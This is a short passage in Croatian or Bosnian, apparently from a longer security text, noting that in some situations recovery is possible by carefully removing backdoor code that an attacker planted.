situacijama moguce napraviti paZljivim micanjem backdoor kédova koje je napadac
postavio.
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